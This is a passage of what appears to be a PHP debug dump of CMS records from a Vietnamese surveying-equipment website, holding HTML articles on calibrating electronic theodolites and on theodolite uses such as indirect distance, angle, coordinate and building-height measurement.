border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Để tiếp tục đặt bù góc trục đứng đến giá trị tốt hơn, bật tắt nguồn.</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Tiến hành hiệu chỉnh khi hằng số tự động trục đứng vượt quá 6′, thông báo “OVER” sẽ xuất hiện trên màn hình và điều khiển quay về bước 2</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/mn17.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="mn1" class="size-medium wp-image-5360 aligncenter" height="66" sizes="(max-width: 300px) 100vw, 300px" src="http://tracdiapro.com/wp-content/uploads/2015/11/mn17-300x66.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/mn17-300x66.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/mn17.png 485w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="300" /></a></span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Hằng số mới sửa sẽ được lưu giữ nguyên vẹn trong bộ nhớ thậm chí khi bật tắt nguồn. Tất cả đo góc đứng sau đó được sửa lại bằng AC mới.</span></span></span></li> </ul> ', 'images' => '20170911075630e672d20fd038cdf903acb9804399e23d.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-09-11', 'modified' => '2025-08-10', 'status' => '1', 'view' => '62562', 'slug' => 'cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '863', 'rght' => '864', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '493', 'name' => 'Một số ứng dụng của máy kinh vĩ trong trắc địa', 'code' => null, 'alias' => 'mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Máy kinh vĩ là <a href="http://tracdiapro.com/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="thiết bị đo đạc">thiết bị đo đạc</a> được dùng phổ biến trong trắc địa. <a href="http://tracdiapro.com/product-category/may-kinh-vi/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="Máy kinh vĩ">Máy kinh vĩ </a> có nhiều chức năng tiện lợi phục vụ cho công tác đo đạc của các kĩ sư trắc địa. Ngoài ra máy kinh vĩ còn có một số chức năng giống với <a href="http://tracdiapro.com/may-toan-dac-dien-tu/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="Máy toàn đạc điện tử">máy toàn đạc điện tử</a>, và có thể dùng thay thế cho các trường hợp cần thiết.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Ngày nay với sự phát triển của khoa học công nghệ hiện đại, <a href="http://tracdiapro.com/may-kinh-vi-dien-tu-la-gi/" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;" target="_blank" title="máy kinh vĩ điện tử">máy kinh vĩ điện tử</a> đã ra đời thay cho dòng máy kinh vĩ quang cơ trước đây. Với những thiết kế thông minh và công nghệ cải tiến dòng máy kinh vĩ điện tử đã tạo ra một bước đột phá mới cho ngành đo đạc bản đồ, mang lại hiệu suất cao và những kết quả vô cùng chính xác.</span></span></span></p> ', 'content' => '<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">I. Đo chi tiết bằng phương pháp tọa độ cực.</b></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 1. Đặt máy trên một điểm trạm đo (dọi tâm, cân bằng sơ bộ, cân bằng chính xác).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 2. Định hướng: là việc ngắm ống kính về một trạm đo khác và đưa bàn độ ngang về “00”.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Bước 3. Đo chi tiết: là việc quay máy ngắm đến mia dựng tại các điểm chi tiết (góc ranh, góc đường, góc ngoặt của sông suối…) để thu thập các số liệu về góc và cạnh rồi ghi vào trong sổ đo chi tiết.</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">II. Đo khoảng cách gián tiếp</b></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Khoảng cách đo được từ máy đến mia người ta gọi là </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">khoảng cách trực tiếp, còn khoảng cách giữa hai mia được gọi </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">là khoảng cách gián tiếp.</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Giả sử cần đo khoảng cách giữa 2 điểm dựng mia B và C ta làm </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy tại 1 điểm bất kỳ (A) sao cho có thể ngắm đến </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">các điểm dựng mia (B, C).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm mia dựng tại B và C rồi đo góc “” và đo khoảng cách từ máy đến 2 mia ta được cạnh “b </span><span style="box-sizing: border-box; margin: 0px; padding: 0px;">và c” như hình vẽ.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="do khoang cach gian tiep" class="size-full wp-image-7479 alignleft" height="153" sizes="(max-width: 284px) 100vw, 284px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi-115x62.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi-150x81.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi.png 284w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; margin: 0px 20px 20px 0px !important; float: left !important;" width="284" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính khoảng cách gián tiếp (a) theo công thức:</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7480" height="45" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi1.png" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="277" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">III. Đo góc gián tiếp.</b></span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Góc đo được tại điểm đặt máy người ta gọi là góc đo trực tiếp, còn góc xác định được tại các điểm không đặt máy người ta gọi là góc đo gián tiếp. Giả sử cần xác định 2 góc B và C như hình vẽ ta thực hiện như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy kinh vĩ tại điểm A, dựng mia tại 2 điểm B và C.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm mia dựng tại B và C rồi đo góc “” và đo khoảng cách từ máy đến 2 mia ta được cạnh “b và c” như hình vẽ.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="size-full wp-image-7482 alignleft" height="175" sizes="(max-width: 268px) 100vw, 268px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3-115x75.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3-150x98.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi3.png 268w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; margin: 0px 20px 20px 0px !important; float: left !important;" width="268" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính khoảng cách gián tiếp (a) theo công thức: <a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7481" height="43" sizes="(max-width: 282px) 100vw, 282px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2-150x23.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi2.png 282w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="282" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính góc B và C theo công thức:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone size-full wp-image-7483" height="46" sizes="(max-width: 473px) 100vw, 473px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4-300x29.png 300w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4-115x11.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi4.png 473w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="473" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><b style="box-sizing: border-box; margin: 0px; padding: 0px;">IV. Đo, tính tọa độ của một điểm bằng phương pháp điểm dẫn (Cọc phụ).</b></span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Giả sử cần tính tọa độ điểm T khi có các số liệu gốc và số liệu đo như hình vẽ ta tiến hành như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="size-full wp-image-7484 alignright" height="236" sizes="(max-width: 268px) 100vw, 268px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5-150x132.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi5.png 268w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; float: right; margin: 0px 0px 20px 20px !important;" width="268" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">-Tính góc phương vị tọa độ cho cạnh gốc: </span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">α<span style="box-sizing: border-box; margin: 0px; padding: 0px;"> AB<span style="box-sizing: border-box; margin: 0px; padding: 0px;">=120°30’40”</span></span></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">-Tính góc phương vị tọa độ cho cạnh BT:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi6.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; font-size: 16px; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone wp-image-7485" height="55" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi6.png" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="197" /></a></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Theo hình vẽ, góc đo được là góc trái nên ta áp dụng công thức:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi7.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="wp-image-7486 aligncenter" height="38" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi7.png" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="246" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính số gia tọa độ của cạnh BT.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi8.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="wp-image-7487 aligncenter" height="41" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi8.png" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="160" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính tọa độ cho điểm T:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone wp-image-7488" height="54" sizes="(max-width: 159px) 100vw, 159px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9-115x39.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9-150x51.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png 209w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="159" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102);">V. Đo chiều cao công trình</strong></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Để xác định chiều cao của một công trình ta làm như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy tại một điểm bất kỳ sao cho khi đặt máy trên điểm này có thể nhìn thấy đỉnh và chân công trình.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Dựng mia ở chân công trình và xác định khoảng cách ngang từ máy đến mia (D).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm ống kính lên đỉnh công trình rồi đọc giá trị góc đứng (V1).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm ống kính xuống chân công trình rồi đọc giá trị góc đứng (V2).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính chiều cao công trình (H) theo công thức:</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;"><i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H =</i> <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H</i>1+ <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H </i>2</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Trong đó: <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H </i>1 = <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">D </i>.<i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">tg V </i>1</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;"><i style="box-sizing: border-box; margin: 